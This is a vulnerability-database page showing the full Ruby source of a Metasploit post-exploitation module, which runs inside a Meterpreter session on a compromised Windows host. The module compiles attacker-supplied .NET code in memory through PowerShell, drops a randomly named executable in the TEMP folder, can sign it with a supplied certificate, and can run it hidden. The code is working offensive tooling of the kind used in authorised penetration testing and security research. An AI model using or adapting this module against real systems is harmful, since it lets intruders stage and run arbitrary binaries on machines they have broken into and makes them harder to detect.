Lucene search
K

Powershell .NET Compiler

🗓️ 08 Oct 2016 19:05:53Reported by RageLtMan <rageltman@sempervictus>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 47 Views

This module builds a .NET source file using powershell, compiling it in memory to produce a binary. PowerShell session can also sign the executable if provided a .pfx formatted certificate

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  Rank = ExcellentRanking

  include Msf::Post::Windows::Powershell
  include Msf::Exploit::Powershell::DotNet

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Powershell .NET Compiler',
        'Description' => %q{
          This module will build a .NET source file using powershell. The compiler builds
          the executable or library in memory and produces a binary. After compilation the
          PowerShell session can also sign the executable if provided a path the
          a .pfx formatted certificate. Compiler options and a list of assemblies
          required can be configured in the datastore.
        },
        'License' => MSF_LICENSE,
        'Author' => 'RageLtMan <rageltman[at]sempervictus>',
        'Platform' => [ 'windows' ],
        'SessionTypes' => [ 'meterpreter' ],
        'DisclosureDate' => '2012-08-14',
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_stat
              stdapi_sys_config_getenv
              stdapi_sys_config_getsid
              stdapi_sys_process_execute
            ]
          }
        }
      )
    )

    register_options(
      [
        OptPath.new('SOURCE_FILE', [true, 'Path to source code']),
        OptBool.new('RUN_BINARY', [false, 'Execute the generated binary', false]),
        OptString.new('ASSEMBLIES', [false, 'Any assemblies outside the defaults', 'mscorlib.dll, System.dll, System.Xml.dll, System.Data.dll' ]),
        OptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated binary, default random, omit extension' ]),
        OptString.new('COMPILER_OPTS', [false, 'Options to pass to compiler', '/optimize']),
        OptString.new('CODE_PROVIDER', [true, 'Code provider to use', 'Microsoft.CSharp.CSharpCodeProvider'])
      ], self.class
    )
    register_advanced_options(
      [
        OptString.new('NET_CLR_VER', [false, 'Minimum NET CLR version required to compile', '4.0'])
      ], self.class
    )
  end

  def run
    # Make sure we meet the requirements before running the script
    unless session.type == 'meterpreter' || have_powershell?
      print_error 'Incompatible Environment'
      return 0
    end

    # Havent figured this one out yet, but we need a PID owned by a user, can't steal tokens either
    if client.sys.config.is_system?
      print_error 'Cannot run as system'
      return 0
    end

    # End of file marker
    eof = Rex::Text.rand_text_alpha(8)
    env_suffix = Rex::Text.rand_text_alpha(8)
    net_com_opts = {}
    net_com_opts[:target] =
      datastore['OUTPUT_TARGET'] ||
      "#{session.sys.config.getenv('TEMP')}\\#{Rex::Text.rand_text_alpha(rand(8..15))}.exe"
    net_com_opts[:com_opts] = datastore['COMPILER_OPTS']
    net_com_opts[:provider] = datastore['CODE_PROVIDER']
    net_com_opts[:assemblies] = datastore['ASSEMBLIES']
    net_com_opts[:net_clr] = datastore['NET_CLR_VER']
    net_com_opts[:cert] = datastore['CERT_PATH']

    begin
      net_com_opts[:harness] = ::File.read(datastore['SOURCE_FILE'])
      script = dot_net_compiler(net_com_opts)
      if datastore['Powershell::Post::dry_run']
        print_good "Compiler code:\n#{script}"
        return
      end
    rescue StandardError => e
      print_error e
      return
    end

    vprint_good "Writing to #{net_com_opts[:target]}"

    # Execute the powershell script
    print_status 'Building remote code.'
    cmd_out, running_pids, open_channels = execute_script(script, true)
    get_ps_output(cmd_out, eof)
    vprint_good "Cleaning up #{running_pids.join(', ')}"

    clean_up(nil, eof, running_pids, open_channels, env_suffix, false)

    # Check for result
    begin
      size = session.fs.file.stat(net_com_opts[:target].gsub('\\', '\\\\')).size
      print_good "File #{net_com_opts[:target].gsub('\\', '\\\\')} found, #{size}kb"
    rescue StandardError
      print_error "File #{net_com_opts[:target].gsub('\\', '\\\\')} not found," \
                  " NET CLR version #{datastore['NET_CLR_VER']} possibly not available"
      return
    end

    # Run the result
    if datastore['RUN_BINARY']
      cmd_out = session.sys.process.execute(net_com_opts[:target].gsub('\\', '\\\\'),
                                            nil, 'Hidden' => true, 'Channelized' => true)
      while (out = cmd_out.channel.read)
        print_good out
      end
    end

    print_good 'Finished!'
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation